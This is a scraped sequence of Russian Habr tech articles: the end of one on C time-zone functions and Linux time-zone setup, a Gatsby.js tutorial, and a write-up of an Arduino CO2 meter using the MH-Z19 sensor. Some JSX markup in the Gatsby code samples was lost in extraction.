bdt.tm_mon = 11; // 11th mon - Dec
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод t | 1355137685 (Mon, 10 Dec 2012 11:08:05 GMT) | 1355123285 (Mon, 10 Dec 2012 07:08:05 GMT) | 1355137685 (Mon, 10 Dec 2012 11:08:05 GMT) |
| вывод hour | 11 | 11 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод gmtoff | 0 | 14400 (4\*60\*60) | 0 |
| вывод zone | UTC | MSK | GMT |
```
Function: time_t timegm(struct tm *brokentime)
```
Работает в UTC.
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод t | 1339326485 (Sun, 10 Jun 2012 11:08:05 GMT) | 1339326485 (Sun, 10 Jun 2012 11:08:05 GMT) | 1339326485 (Sun, 10 Jun 2012 11:08:05 GMT) |
| вывод hour | 11 | 11 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод gmtoff | 0 | 0 | 0 |
| вывод zone | GMT | GMT | GMT |
теперь для
```
bdt.tm_mon = 11; // 11th mon - Dec
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод t | 1355137685 (Mon, 10 Dec 2012 11:08:05 GMT) | 1355137685 (Mon, 10 Dec 2012 11:08:05 GMT) | 1355137685 (Mon, 10 Dec 2012 11:08:05 GMT) |
| вывод hour | 11 | 11 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод gmtoff | 0 | 0 | 0 |
| вывод zone | GMT | GMT | GMT |
Вывод:
Если вы хотите отобразить время пользователю в вашей программе на пользовательском компьютере, то используйте функции `timelocal/localtime`, если вы работает на сервере, то используйте функции `timegm/gmtime`. Так же, устанавливайте на сервере зону UTC, на случай, если вдруг кто-то из ваших коллег или в сторонней библиотеке использует \*local\* функции. Даже на компьюетере пользователя храните и работайте со временем в UTC, так, если он сменит свою зону, все даты останутся правильными.
#### Примечание
##### Настройка временных зон в linux
Рассмотрим только deb-based дистрибутивы и пару железных методов по настройке временн`ой зоны.
* Способ первый (работает на deb-based дистрибутивах):
Выполнить в терминале команду и следовать инструкциям (“UTC” находится в разделе “Etc”):
sudo dpkg-reconfigure tzdata
* Способ второй (работает, наверное везде):
Выполнить в терминале команду:
```
sudo ln -sf /usr/share/zoneinfo/UTC /etc/localtime
```
и на всякий случай отредактировать `/etc/timezone` (если он есть)
* Способ третий:
Установить переменную окружения TZ в нужную зону, например:
```
export TZ=Europe/London
```
##### LEAP SECOND
Вообще это отдельная тема, поэтому в этой статье нет примеров, касающихся leap second. Вы можете сами проверить как работают те или иные функции, а так же как ведут себя различные базы данных, [вот примеры mysql](http://dev.mysql.com/doc/refman/5.6/en/time-zone-leap-seconds.html).
* UTC включает в себя [leap second](http://en.wikipedia.org/wiki/Leap_seconds)
* Очень важное [замечание](http://www.delorie.com/gnu/docs/glibc/libc_433.html):
POSIX требует, чтобы time\_t отсчитанное от 00:00:00 on January 1, 1970, UTC не включало leap seconds, но на практике иногда включает. Так же в зависимости от поддержки leap second по-разному работает функция difftime. Будьте внимательны.
* Юлианский день так же не включает в себя leap second.
* В mysql вы не увидите leap second, т.е. вместо 60 или 61 секунд(ы) всегда будет 59 ([ссылка](http://dev.mysql.com/doc/refman/5.6/en/time-zone-leap-seconds.html)). Но при этом, все поддерживается и корректно работает, если вы имеете дело с unix epochs в UTC.
* Общая рекомендация по sqlite: храните дату в виде целого числа (integer), в который уже включены leap seconds (как в mysql). Тогда вы всегда будете знать точное время.
##### И еще
* Если значение переменной time\_zone (mysql) равно SYSTEM, то в качестве текущей зоны выбирается системная (которая была настроена в системе на момент запуска сервера).
* <http://www.onlineconversion.com/unix_time.htm> сайт для конвертации unix time в обычное время
* GMT — можно рассматривать как устаревшее понятие, поэтому в статье в основном используется UTC. | https://habr.com/ru/post/162341/ | null | ru | null |
# Gatsby.js в деталях

Как известно на одних бойлерплейтах далеко не уедешь, поэтому приходится лезть вглубь любой технологии, чтобы научиться писать что-то стоящее. В этой статье рассмотрены детали **Gatsby.js**, знание которых позволит вам создавать и поддерживать сложные вебсайты и блоги.
> [Предыдущая статья](https://habr.com/ru/post/439232/) о том как создать и опубликовать личный блог используя JAM-stack
Темы рассмотренные далее:
* [Структура страниц и роутинг](#struktura-stranic-i-routing)
* [Компоненты, шаблоны и их взаимодействие](#komponenty-shablony-i-ih-vzaimodeystvie)
* [Работа с данными](#rabota-s-dannymi)
* [Плагины](#plaginy)
* [Стилизация приложения](#stilizaciya-prilozheniya)
* [SEO-оптимизация с использованием react-helmet](#seo-optimizaciya)
* [Настройка PWA](#nastroyka-pwa)
Подготовка
----------
**Установка Gatsby на ПК**
```
yarn global add gatsby-cli
```
**Клонирование минимального проекта**
```
npx gatsby new gatsby-tutorial https://github.com/gatsbyjs/gatsby-starter-hello-world
cd gatsby-tutorial
```
**Инициализация репозитория**
```
git init
git add .
git commit -m "init commit"
```
**Проверка работоспособности**
```
yarn start
```
Если в консоли нет ошибок, а в браузере по пути <http://localhost:8000> виднеется "Hello world!" значит всё работает исправно. Можно попробовать изменить содержимое файла */src/pages/index.js*, чтобы проверить hot-reload.
Структура страниц и роутинг
---------------------------
Чтобы создать страницу в Gatsby, достаточно просто поместить новый файл в папку */src/pages*, и он будет скомпилирован в отдельную HTML-страницу. **Важно заметить, что путь к этой странице будет соответствовать фактическому пути с названием**. Например, добавим ещё несколько страниц:
```
src
└── pages
├── about.js
├── index.js
└── tutorial
├── part-four.js
├── part-one.js
├── part-three.js
├── part-two.js
└── part-zero.js
```
Контент пока не важен, поэтому можно использовать любой текст, чтобы различать страницы
```
import React from "react";
export default () => Welcome to tutorial/part-one;
```
Проверяем в браузере:
* <http://localhost:8000/tutorial/part-one>
* <http://localhost:8000/about>
Вот таким образом, можно структурируя файлы, сразу решать вопросы роутинга.
> Также существует специальный **createPage API**, с помощью которого можно более гибко управлять путями и названиями страниц, но для работы с ним нам понадобится понимание работы данных в Gatsby, поэтому рассмотрим его чуть дальше в статье.
Объединим созданные страницы с помощью ссылок, для этого воспользуемся компонентом из пакета Gatsby, который создан специально для внутренней навигации. Для всех внешних ссылок следует использовать обычный тег.
*/src/pages/index.js*
```
import React from "react";
import { Link } from "gatsby";
export default () => (
* about
* Part #0
* Part #1
* Part #2
* Part #3
* Part #4
);
```
> под капотом имеет очень хитрый механизм по оптимизации загрузки страниц и поэтому используется вместо для навигации по сайту. Детальнее можно почитать [здесь](https://www.gatsbyjs.org/docs/gatsby-link/).

Страницы созданы, ссылки добавлены, получается что с навигацией закончили.
Компоненты, шаблоны и их взаимодействие
---------------------------------------
Как известно, в любом проекте всегда есть повторяющиеся элементы, для вебсайтов это хедер, футер, навигационная панель. Также страницы, вне зависимости от контента, строятся по определённой структуре, и так как **Gatsby** это компилятор для **React**, здесь используется тот же компонентный подход для решения этих проблем.
Создадим компоненты для хедера и навигационной панели:
*/src/components/header.js*
```
import React from "react";
import { Link } from "gatsby";
/**
* обратите внимание на то что изображение для логотипа
* импортируется также, как и в обычном React-проекте.
* Это временное и не оптимальное решение, потому что картинка
* поставляется "как есть". Немного далее мы рассмотрим
* как это делать "правильно" используя GraphQL и gatsby-плагины
*/
import logoSrc from "../images/logo.png";
export default () => (

That is header
);
```
*/src/components/sidebar.js*
```
import React from "react";
import { Link } from "gatsby";
export default () => (
* about
* Part #0
* Part #1
* Part #2
* Part #3
* Part #4
);
```
и добавим их в */src/pages/index.js*
```
import React from "react";
import Header from "../components/header";
import Sidebar from "../components/sidebar";
export default () => (
Index page
==========
);
```
Проверяем:

Всё работает, но нам нужно импортировать Header и Sidebar на каждую страницу отдельно, что не очень то и удобно, и чтобы решить этот вопрос достаточно создать layout-компонент, и обернуть им каждую страницу.
> Gatsby layout == React container
>
> *да-да, именно нестрогое равенство, потому что это "почти" одно и тоже*
*/src/components/layout.js*
```
import React from "react";
import Header from "./header";
import Sidebar from "./sidebar";
export default ({ children }) => (
<>
{children}
);
```
*/src/pages/index.js* (и все остальные страницы)
```
import React from "react";
import Layout from "../components/layout";
export default () => (
Index page
==========
);
```
Готово, смотрим в браузер:

> Почему в проекте все названия файлов с маленькой буквы? Для начала определимся что namespacing для **React** происходит из того, что "каждый файл это класс, а класс всегда называется с большой буквы". В **Gatsby** файлы по прежнему содержат классы, но есть одно "но" ― "каждый файл является потенциальной страницей, а его название ― URL к этой странице". Комьюнити пришло к выводу о том, что ссылки вида `http://domain.com/User/Settings` это не *comme-il-faut* и утвердили kebab-case для названий файлов.
**Структура файлов**
```
src
├── components
│ ├── header.js
│ ├── layout.js
│ └── sidebar.js
├── images
│ └── logo.png
└── pages
├── about.js
├── index.js
└── tutorial
├── part-eight.js
├── part-five.js
├── part-four.js
├── part-one.js
├── part-seven.js
├── part-six.js
├── part-three.js
├── part-two.js
└── part-zero.js
```
Работа с данными
----------------
Теперь, когда структура сайта готова, можно переходить к наполнению контентом. Классический "хардкод" подход не устраивал создателей JAM-стека, так же как и "рендерить контент из AJAX-запросов" и поэтому они предложили заполнять сайты контентом во время компиляции. В случае с **Gatsby** за это отвечает **GraphQL**, который позволяет удобно работать с потоками данных из любых источников.
> Рассказать про GraphQL в двух словах невозможно, поэтому желательно изучить его самостоятельно либо подождать моей следующей статьи. Детальнее о работе с GraphQL можно почитать [здесь](https://www.howtographql.com).
Для работы с **GraphQL**, со второй версии, в пакете `gatsby` есть компонент [StaticQuery](https://www.gatsbyjs.org/docs/static-query/), который может использоваться как на страницах, так и в простых компонентах, и в этом его главное отличие от его предшественника ― [page query](https://www.gatsbyjs.org/docs/page-query/). Пока что наш сайт не соединён с какими-то источниками данных, поэтому попробуем вывести метаданные страниц, для примера, а затем перейдем к более сложным вещам.
Чтобы построить `query` нужно открыть <http://localhost:8000/___graphql>, и пользуясь боковой панелью с документацией найти доступные данные о сайте, и не забудьте про автодополнение.

*/src/components/sidebar.js*
```
import React from "react";
import { Link, StaticQuery, graphql } from "gatsby";
export default () => (
(
{edges.map(({ node: { id, path } }) => (
* {id}
))}
)}
/>
);
```
Теперь мы используя `query` получаем данные о страницах, которые рендерим в панели навигации, и больше не нужно переживать по поводу того что ссылка не будет соответствовать названию, потому что все данные собираются автоматически.

По факту это все данные, которые могут быть на нашем сайте без использования сторонних плагинов и без старого доброго "хардкода", поэтому мы плавно переходим в следующую тему нашей статьи ― плагины.
Плагины
-------
По своей сути Gatsby это компилятор с кучей плюшек, которыми как раз и являются плагины. С помощью них можно настраивать обработку тех или иных файлов, типов данных и различных форматов.
Создадим на корневом уровне приложения файл */gatsby-config.js*. который отвечает за конфигурацию компилятора в целом, и попробуем настроить первый плагин для работы с файлами:
Установка плагина:
```
yarn add gatsby-source-filesystem
```
Конфигурация в файле */gatsby-config.js:*
```
module.exports = {
plugins: [
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`,
}
}
],
}
```
**Детальнее про файл выше**
```
/**
* gatsby-config.js это файл который должен
* по умолчанию экспортировать объект JS
* с конфигурацией для компилятора
*/
module.exports = {
/**
* поле 'plugins' описывает pipeline процесса
* компиляции, и состоит из набора плагинов
*/
plugins: [
/**
* каждый плагин может быть указан в виде строки,
* или в виде объекта для настройки его опций
*/
`gatsby-example-plugin`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`,
}
}
],
}
```
Помните мы говорили про "правильный" импорт картинок в **Gatsby**?
*/src/components/header.js*
```
import React from "react";
import { Link, StaticQuery, graphql } from "gatsby";
export default () => (
(

That is header
)}
/>
);
```
На сайте ничего не изменилось, но теперь картинка подставляется с помощью GraphQL, вместо простого webpack-импорта. С первого взгляда, может показатся что конструкции слишком сложные и это были лишние телодвижения, но давайте не спешить с выводами, потому что дело всё в тех же самых плагинах. Например если бы мы решили размещать на сайте тысячи фотографий, то нам в любом случае пришлось задумываться об оптимизации загрузки всего контента, и чтобы не строить свой [lazy-load процесс](https://developers.google.com/web/fundamentals/performance/lazy-loading-guidance/images-and-video/) с нуля, мы бы просто добавили [gatsby-image](https://www.gatsbyjs.org/packages/gatsby-image/) плагин, который бы оптимизировал загрузку всех картинок, импортируемых с помощью `query`.
Установка плагинов для стилизации:
```
yarn add gatsby-plugin-typography react-typography typography typography-theme-noriega node-sass gatsby-plugin-sass gatsby-plugin-styled-components styled-components babel-plugin-styled-components
```
*gatsby-config.js*
```
module.exports = {
plugins: [
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`
}
},
// add style plugins below
`gatsby-plugin-typography`,
`gatsby-plugin-sass`,
`gatsby-plugin-styled-components`
]
};
```
> На [официальном сайте](https://www.gatsbyjs.org/plugins/) можно найти плагин на любой вкус.
Стилизация приложения
---------------------
Приступим к стилизации приложения используя различные подходы. В предыдущем шаге мы уже установили плагины для работы с [SASS](https://sass-lang.com/), [styled-components](https://www.styled-components.com/) и библиотекой [typography.js](https://kyleamathews.github.io/typography.js/), при этом важно отметить что css.modules поддерживаются "из коробки".
Начнём работу с глобальных стилей, которые, как и остальные вещи относящиеся ко всему сайту, должны быть сконфигурированы в файле */gatsby-browser.js*:
```
import "./src/styles/global.scss";
```
> Детальнее про [gatsby-browser.js](https://www.gatsbyjs.org/docs/browser-apis/)
*/src/styles/global.scss*
```
body {
background-color: lavenderblush;
}
```
В силу разных причин, тенденции последних лет склоняются в сторону "CSS in JS" подхода, поэтому не стоит злоупотреблять глобальными стилями и лучше ограничиться указанием шрифта и переиспользуемых классов. В этом конкретном проекте планируется использование **Typography.js** для этих целей, поэтому глобальные стили останутся пустыми.
Вы уже могли заметить изменения внешнего вида сайта после добавления `gatsby-plugin-typography` в конфигурацию ― это потому что был применён его пресет по умолчанию, а сейчас мы сконфигурируем его под себя.
*/src/utils/typography.js*
```
import Typography from "typography";
import theme from "typography-theme-noriega";
const typography = new Typography(theme);
export default typography;
```
> Можно выбрать любой другой пресет из [списка](https://github.com/KyleAMathews/typography.js#published-typographyjs-themes) или создать свой собственный используя API пакета ([пример](https://github.com/gatsbyjs/gatsby/blob/master/www/src/utils/typography.js) конфигурации официального сайта Gatsby)
*/gatsby-config.js*
```
module.exports = {
plugins: [
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`
}
},
{
resolve: `gatsby-plugin-typography`,
options: {
pathToConfigModule: `src/utils/typography`
}
},
`gatsby-plugin-sass`,
`gatsby-plugin-styled-components`
]
};
```
И в зависимости от выбранного пресета, глобальный стиль сайта будет изменён. Каким подходом настраивать глобальные стили решайте сами, это вопрос личных предпочтений и различий с технической точки зрения нет, а мы переходим к стилизации компонентов используя **styled-components**:
Добавим файл с глобальными переменными */src/utils/vars.js*
```
export const colors = {
main: `#663399`,
second: `#fbfafc`,
main50: `rgba(102, 51, 153, 0.5)`,
second50: `rgba(251, 250, 252, 0.5)`,
textMain: `#000000`,
textSecond: `#ffffff`,
textBody: `#222222`
};
```
**/src/components/header.js**
```
import React from "react";
import { Link, StaticQuery, graphql } from "gatsby";
import styled from "styled-components";
import { colors } from "../utils/vars";
const Header = styled.header`
width: 100%;
height: 3em;
display: flex;
justify-content: space-between;
align-items: center;
background-color: ${colors.main};
color: ${colors.textSecond};
padding: 0.5em;
`;
const Logo = styled.img`
border-radius: 50%;
height: 100%;
`;
const logoLink = `height: 100%;`;
export default () => (
(
That is header
)}
/>
);
```
**/src/components/sidebar.js**
```
import React from "react"
import { Link, StaticQuery, graphql } from "gatsby"
import styled from "styled-components"
import { colors } from "../utils/vars"
const Sidebar = styled.section`
position: fixed;
left: 0;
width: 20%;
height: 100%;
display: flex;
flex-direction: column;
justify-content: center;
background-color: ${colors.second};
color: ${colors.textMain};
`
const navItem = `
display: flex;
align-items: center;
margin: 0 1em 0 2em;
padding: 0.5em 0;
border-bottom: 0.05em solid ${colors.mainHalf};
postion: relative;
color: ${colors.textBody};
text-decoration: none;
&:before {
content: '';
transition: 0.5s;
width: 0.5em;
height: 0.5em;
position: absolute;
left: 0.8em;
border-radius: 50%;
display: block;
background-color: ${colors.main};
transform: scale(0);
}
&:last-child {
border-bottom: none;
}
&:hover {
&:before {
transform: scale(1);
}
}
`
export default () => (
(
{
edges.map(({
node: {
id,
path
}
}) => (
{id}
))
}
)}
/>
)
```

Уже существующие элементы стилизованы, и пришло время связать контент с [Contentful](https://www.contentful.com/), подключить маркдаун плагин и сгенерировать страницы используя **createPages API**.
> Детальнее о том как связать Gatsby и Contentful читайте в [предыдущей статье](https://habr.com/ru/post/439232/)
**Структура моих данных с Contentful**
```
[
{
"id": "title",
"type": "Symbol"
},
{
"id": "content",
"type": "Text",
},
{
"id": "link",
"type": "Symbol",
},
{
"id": "orderNumber",
"type": "Integer",
}
]
```
Установка пакетов:
```
yarn add dotenv gatsby-source-contentful gatsby-transformer-remark
```
*/gatsby-config.js*
```
if (process.env.NODE_ENV === "development") {
require("dotenv").config();
}
module.exports = {
plugins: [
`gatsby-transformer-remark`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`,
}
},
{
resolve: `gatsby-plugin-typography`,
options: {
pathToConfigModule: `src/utils/typography`,
},
},
{
resolve: `gatsby-source-contentful`,
options: {
spaceId: process.env.CONTENTFUL_SPACE_ID,
accessToken: process.env.CONTENTFUL_ACCESS_TOKEN,
},
},
`gatsby-plugin-sass`,
`gatsby-plugin-styled-components`,
],
}
```
Удаляем папку */src/pages* со всеми файлами внутри и создаем новый файл, для управления узлами в Gatsby:
*/gatsby-node.js*
```
const path = require(`path`);
/**
* экспортируемая функция, которая перезапишет существующую по умолчанию
* и будет вызвана для генерации страниц
*/
exports.createPages = ({ graphql, actions }) => {
/**
* получаем метод для создания страницы из экшенов
* чтобы избежать лишних импортов и сохранять контекст
* страницы и функции
*/
const { createPage } = actions;
return graphql(`
{
allContentfulArticle {
edges {
node {
title
link
content {
childMarkdownRemark {
html
}
}
}
}
}
}
`).then(({ data: { allContentfulArticle: { edges } } }) => {
/**
* для каждого из элементов из ответа
* вызываем createPage() функцию и передаём
* внутрь данные с помощью контекста
*/
edges.forEach(({ node }) => {
createPage({
path: node.link,
component: path.resolve(`./src/templates/index.js`),
context: {
slug: node.link
}
});
});
});
};
```
> Детальнее про [gatsby-node.js](https://www.gatsbyjs.org/docs/node-apis/)
Создаём template-файл, который будет основой для генерируемых страниц
*/src/templates/index.js*
```
import React from "react";
import { graphql } from "gatsby";
import Layout from "../components/layout";
export default ({
data: {
allContentfulArticle: {
edges: [
{
node: {
content: {
childMarkdownRemark: { html }
}
}
}
]
}
}
}) => {
return (
);
};
export const query = graphql`
query($slug: String!) {
allContentfulArticle(filter: { link: { eq: $slug } }) {
edges {
node {
title
link
content {
childMarkdownRemark {
html
}
}
}
}
}
}
`;
```
> Почему здесь не используется компонент? Всё дело в том что он не поддерживает переменные для построения запроса, а нам нужно использовать переменную `$slug` из контекста страницы.
**Обновляем логику в навигационной панели**
```
import React from "react";
import { Link, StaticQuery, graphql } from "gatsby";
import styled from "styled-components";
import { colors } from "../utils/vars";
const Sidebar = styled.section`
position: fixed;
left: 0;
width: 20%;
height: 100%;
display: flex;
flex-direction: column;
justify-content: center;
background-color: ${colors.second};
color: ${colors.textMain};
`;
const navItem = `
display: flex;
align-items: center;
margin: 0 1em 0 2em;
padding: 0.5em 0;
border-bottom: 0.05em solid ${colors.main50};
postion: relative;
color: ${colors.textBody};
text-decoration: none;
&:before {
content: '';
transition: 0.5s;
width: 0.5em;
height: 0.5em;
position: absolute;
left: 0.8em;
border-radius: 50%;
display: block;
background-color: ${colors.main};
transform: scale(0);
}
&:last-child {
border-bottom: none;
}
&:hover {
&:before {
transform: scale(1);
}
}
`;
export default () => (
(
{edges.map(({ node: { title, link, orderNumber } }) => (
{orderNumber}. {title}
))}
)}
/>
);
```

SEO-оптимизация
---------------
С технической стороны сайт можно считать готовым, поэтому давайте поработаем с его мета-данными. Для этого нам понадобятся следующие плагины:
```
yarn add gatsby-plugin-react-helmet react-helmet
```
> [react-helmet](https://github.com/nfl/react-helmet) генерирует `...` для HTML страниц и в связке с Gatsby рендерингом является мощным и удобным инструментом для работы с SEO.
*/src/templates/index.js*
```
import React from "react";
import { graphql } from "gatsby";
import { Helmet } from "react-helmet";
import Layout from "../components/layout";
export default ({
data: {
allContentfulArticle: {
edges: [
{
node: {
title,
content: {
childMarkdownRemark: { html }
}
}
}
]
}
}
}) => {
return (
{title}
);
};
export const query = graphql`
query($slug: String!) {
allContentfulArticle(filter: { link: { eq: $slug } }) {
edges {
node {
title
link
content {
childMarkdownRemark {
html
}
}
}
}
}
}
`;
```
Теперь `title` сайта будет всегда соостветствовать названию статьи, что будет существенно влиять на выдачу сайта в результатах поиска конкретно по этому вопросу. Сюда же можно легко добавить с описанием каждой статьи отдельно, этим дав возможность пользователю ещё на странице поиска понять о чём идет речь в статье, вообщем все возможности SEO теперь доступны и управляемы в одном месте.

Настройка PWA
-------------
**Gatsby** разработан, чтобы обеспечить первоклассную производительность "из коробки". Он берёт на себя вопросы по разделению и минимизации кода, а также оптимизации в виде предварительной загрузки в фоновом режиме, обработки изображений и др., так что создаваемый вами сайт обладает высокой производительностью без какой-либо ручной настройки. Эти функции производительности являются важной частью поддержки прогрессивного подхода к веб-приложениям.
Но кроме всего вышеперечисленного существуют три базовых критерия для сайта, которые определяют его как [PWA](https://developers.google.com/web/progressive-web-apps/):
* https-протокол
* наличие [manifest.json](https://www.w3.org/TR/appmanifest/)
* оффлайн доступ к сайту за счёт [service workers](https://developers.google.com/web/fundamentals/primers/service-workers/)
Первый пункт не может быть решён силами Gatsby, так как *домен*, *хостинг* и *протокол* это вопросы деплоймента, и никак не разработки, но могу порекомендовать [Netlify](https://www.netlify.com/), который решает вопрос https по умолчанию.
Переходим к остальным пунктам, для этого установим два плагина:
```
yarn add gatsby-plugin-manifest gatsby-plugin-offline
```
и настроим их */src/gatsby-config.js*
```
if (process.env.NODE_ENV === "development") {
require("dotenv").config();
}
module.exports = {
plugins: [
{
resolve: `gatsby-plugin-manifest`,
options: {
name: `GatsbyJS translated tutorial`,
short_name: `GatsbyJS tutorial`,
start_url: `/`,
background_color: `#f7f0eb`,
theme_color: `#a2466c`,
display: `standalone`,
icon: `public/favicon.ico`,
include_favicon: true
}
},
`gatsby-plugin-offline`,
`gatsby-transformer-remark`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images/`
}
},
{
resolve: `gatsby-plugin-typography`,
options: {
pathToConfigModule: `src/utils/typography`
}
},
{
resolve: `gatsby-source-contentful`,
options: {
spaceId: process.env.CONTENTFUL_SPACE_ID,
accessToken: process.env.CONTENTFUL_ACCESS_TOKEN
}
},
`gatsby-plugin-sass`,
`gatsby-plugin-styled-components`,
`gatsby-plugin-react-helmet`
]
};
```
Вы можете настроить свой манифест используя [документацию](https://www.w3.org/TR/appmanifest/), а также кастомизировать стратегию service-workers, [перезаписав настройки плагина](https://www.npmjs.com/package/gatsby-plugin-offline#overriding-options).
Никаких изменений в режиме разработки вы не заметите, но сайт уже соответствует последним требованиям мира web, и когда он будет размещён на https:// домене ему не будет равных.
Вывод
-----
Пару лет назад когда я впервые столкнулся с проблемами вывода в интернет React-приложения, его поддержки и обновления контента, я и не мог представить что на рынке уже существовал JAM-stack подход, который упрощает все эти процессы, и сейчас я не перестаю удивлятся его простоте. Gatsby решает большинство вопросов влияющих на производительность сайта просто "из коробки", а если ещё немного разобравшись в тонкостях настроить его под свои нужды, то можно получить 100% показатели по всем пунктам в [Lighthouse](https://developers.google.com/web/tools/lighthouse/), чем существенно повлиять на выдачу сайта в поисковых системах (по крайней мере в Google).
[Репозиторий с проектом](https://github.com/alexandrtovmach/gatsby-tutorial) | https://habr.com/ru/post/442298/ | null | ru | null |
# Измеряем концентрацию CO2 в квартире с помощью MH-Z19
Практически любая метеостанция, включая дешевые китайские модели за несколько долларов, умеет измерять основные параметры воздуха — температуру и влажность. С углекислым газом все сложнее: бытовых приборов, способных его измерять, практически нет в продаже. Усложняет ситуацию и то, что CO2 — газ без цвета и запаха, так что «носом» ощутить его концентрацию практически невозможно.
Подробности и измерения под катом.
Сам датчик MH-Z19 уже описывался здесь на сайте. За основу была взята статья "[Обзор инфракрасного датчика CO2](https://geektimes.ru/post/272090/)", а данный материал является его логическим продолжением. Про измерение концентрации CO2 на улице [было написано здесь](https://geektimes.ru/company/tion/blog/269134/), однако данных о концентрации в квартире там не приводилось. Восполним этот пробел.
#### Железо
Первым делом на eBay были заказаны следующие компоненты:
— **Arduino Micro ATmega32U4 3.3V** (цена вопроса 5$). Т.к. датчик имеет 3-вольтовую логику, обычные Arduino лучше не использовать.
— **OLED LCD-дисплей I2C 0.91«128x32** (цена вопроса 7$). Дисплей подключается к стандартным i2c-пинам Arduino.
— Собственно датчик **MH-Z19** (цена вопроса 28$).
— Набор проводов с разъемами для штыревых контактов (цена вопроса 1-2$)
Таким образом, общая стоимость составила ~40$, или 2600р. Фирменный прибор от известной компании стоит примерно вдвое дороже, хотя здесь скорее вопрос не экономии, а технического интереса.
Код для Arduino был позаимствован из вышеприведенной [статьи](https://geektimes.ru/post/272090/), в него был добавлен вывод данных на дисплей, а для более удобного анализа данных вывод был переделан в формат простой строки с разделителем. Также были добавлены метки времени, каждая соответствует 10 секундам.
**Исходный код**
```
#include
#include
// I2C OLED
#include "SSD1306Ascii.h"
#include "SSD1306AsciiWire.h"
#define I2C\_ADDRESS 0x3C
SSD1306AsciiWire oled;
// CO2 sensor:
SoftwareSerial mySerial(8,9); // RX,TX
byte cmd[9] = {0xFF,0x01,0x86,0x00,0x00,0x00,0x00,0x00,0x79};
unsigned char response[9];
void setup() {
// Serial
Serial.begin(9600);
mySerial.begin(9600);
// OLED
Wire.begin();
oled.begin(&Adafruit128x32, I2C\_ADDRESS);
oled.set400kHz();
oled.setFont(ZevvPeep8x16);
oled.clear();
oled.println("setup::init()");
}
long t = 0;
void loop()
{
mySerial.write(cmd, 9);
memset(response, 0, 9);
mySerial.readBytes(response, 9);
int i;
byte crc = 0;
for (i = 1; i < 8; i++) crc+=response[i];
crc = 255 - crc;
crc++;
oled.clear();
if ( !(response[0] == 0xFF && response[1] == 0x86 && response[8] == crc) ) {
Serial.println("CRC error: " + String(crc) + " / "+ String(response[8]));
oled.println("Sensor CRC error");
} else {
unsigned int responseHigh = (unsigned int) response[2];
unsigned int responseLow = (unsigned int) response[3];
unsigned int ppm = (256\*responseHigh) + responseLow;
Serial.print(String(t)); Serial.print(","); Serial.print(ppm); Serial.println(";");
if (ppm <= 400 || ppm > 4900) {
oled.println("CO2: no data");
} else {
oled.println("CO2: " + String(ppm) + " ppm");
if (ppm < 450) {
oled.println("Very good");
}
else if (ppm < 600) {
oled.println("Good");
}
else if (ppm < 1000) {
oled.println("Acceptable");
}
else if (ppm < 2500) {
oled.println("Bad");
}
else {
oled.println("Health risk");
}
}
}
delay(10000);
t += 10;
}
```
Все это было собрано вместе, скетч залит в ардуину, результат выглядит примерно так:

Конечно это не верх промышленного дизайна (в планах подыскать какой-то корпус), но для задачи показометра, способного работать как автономно, так и передавать данные по USB, устройство вполне справляется. Для получения данных по USB достаточно открыть в Arduino IDE монитор порта, в нем будут выводиться данные. Текст оттуда можно скопировать и открыть в любой программе, например в Excel.
#### Измерения
Следующий вопрос: что мы собственно измеряем? Устройство выдает данные в ppm (parts per million, частей на миллион). 1000 ppm = 0,1% содержания СО2. В интернете можно найти следующую таблицу допустимых концентраций:
— **350 — 450 ppm**: Нормальный уровень на открытом воздухе.
— **< 600 ppm**: Приемлемые уровни. Уровень. рекомендованный для спален, детских садов и школ.
— **600 — 1000 ppm**: Жалобы на несвежий воздух, возможно снижение концентрации внимания.
— **1000 ppm**: Максимальный уровень стандартов ASHRAE (American Society of Heating, Refrigerating and Air-Conditioning Engineers) и OSHA (Occupational Safety & Health Administration).
— **1000 — 2500 ppm**: Общая вялость, снижение концентрации внимания, возможна головная боль.
— **2500 — 5000 ppm**: Возможны нежелательные эффекты на здоровье.
И наконец, результаты. Датчик был поставлен на кухне, окна металлопластиковые, время измерения около 8 часов.

Результаты оказались довольно-таки интересными. По горизонтали время в секундах, 3600 секунд соответствуют 1 часу.
Кривые на графике расшифровываются так:
0ч: показания около 420ppm (соответствуют уличным), дома никого не было, я пришел с работы и заодно включил датчик.
0-2 часа: я нахожусь на кухне, видно как в присутствии человека концентрация co2 медленно растет где-то до 900ppm.
2-4 часа: я ушел из помещения, видно как концентрация медленно спадает.
4-6 часов: я вернулся обратно, концентрация снова стала расти.
6й час: на плиту поставлена кастрюля с пельменями. Интересно видеть, как концентрация практически моментально увеличилась до 1700ppm, затем стала медленно спадать. Хотя газ горел недолго (минут 10-15) высокие уровни >1000 ppm держатся не менее часа.
Конец графика: было открыто окно, и уровень co2 упал практически сразу же.
#### Выводы
Устройство оказалось довольно-таки интересным, и особенно актуальным для работающих дома за компьютером. Так например, за время написания этой статьи уровень co2 вырос в помещении с 500 до 770ppm. Поглядывание на экран заставляет либо чаще открывать окно, либо наконец-таки задуматься об устройстве в доме нормальной вентиляции (наверное режим микропроветривания в окне был бы не лишним, а лучше какая-то вытяжка). Если бы я сейчас покупал новые окна, наверно задумался бы о более-менее качественной модели с нормальным проветриванием.
Также важно отметить актуальность хорошей вентиляции на кухне: как показывает график, даже за 10 минут одна газовая горелка может „выжечь“ весь запас кислорода, доведя концентрацию CO2 до весьма высокой. Измерения в спальне показали, что в плане вентиляции тоже все не очень хорошо: к утру концентрация co2 составляет более 1000ppm, а для умственного труда хороший сон это весьма актуально.
В общем, это нехитрое и недорогое устройство позволяет весьма эффективно проверить качество воздуха в квартире или офисе.
